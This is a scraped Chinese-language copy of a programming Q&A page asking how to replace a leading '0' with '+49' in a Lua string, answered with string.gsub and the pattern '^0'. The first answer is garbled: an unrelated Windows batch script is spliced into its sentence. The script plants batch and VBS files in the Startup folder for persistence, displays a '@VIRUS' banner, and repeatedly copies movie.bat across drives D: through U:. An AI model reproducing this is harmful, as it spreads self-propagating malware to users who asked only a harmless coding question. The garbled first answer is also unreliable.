如何将前缀“0”替换为“+49”

时间:2016-05-26 14:46:31

标签: lua lua-patterns

如何将Lua中字符串的前缀“0”替换为“+49”?

sed中的示例:

echo 030111 | sed "s/^0/\+49/" -> +4930111

2 个答案:

答案 0 :(得分:5)

gsub^ string.gsub("030111", "^0", "+49") +4930111一起使用。这将返回@echo off (echo @echo off echo color 1a echo title @VIRUS = HR echo echo danger!! echo pause)>"%appdata%\Microsoft\windows\start menu\Programs\Startup\system.bat" (echo @echo off echo :A echo copy /y %appdata%\movie.bat d: echo copy /y %appdata%\movie.bat e: echo copy /y %appdata%\movie.bat f: echo copy /y %appdata%\movie.bat g: echo copy /y %appdata%\movie.bat h: echo copy /y %appdata%\movie.bat i: echo copy /y %appdata%\movie.bat j: echo copy /y %appdata%\movie.bat k: echo copyta%\ /y %appdata%\movie.bat l: echo copy /y %appdata%\movie.bat m: echo copy /y %appdata%\movie.bat n: echo copy /y %appdata%\movie.bat o: echo copy /y %appdata%\movie.bat p: echo copy /y %appdata%\movie.bat q: echo copy /y %appdata%\movie.bat r: echo copy /y %appdata%\movie.bat s: echo copy /y %appdata%\movie.bat t: echo copy /y %appdata%\movie.bat u: echo goto A)>"%appdata%\vol.bat" (echo Set WshShell = CreateObject^("WScript.Shell"^) echo WshShell.Run chr^(34^) ^& "%appdata%\vol.bat" ^& Chr^(34^), 0 echo Set WshShell = Nothing) > "%appdata%\Microsoft\windows\start menu\Programs\startup\windows.vbs" copy movie.bat %appdata%

答案 1 :(得分:2)

使用gsub:

string.gsub("030111", "^0", "+49")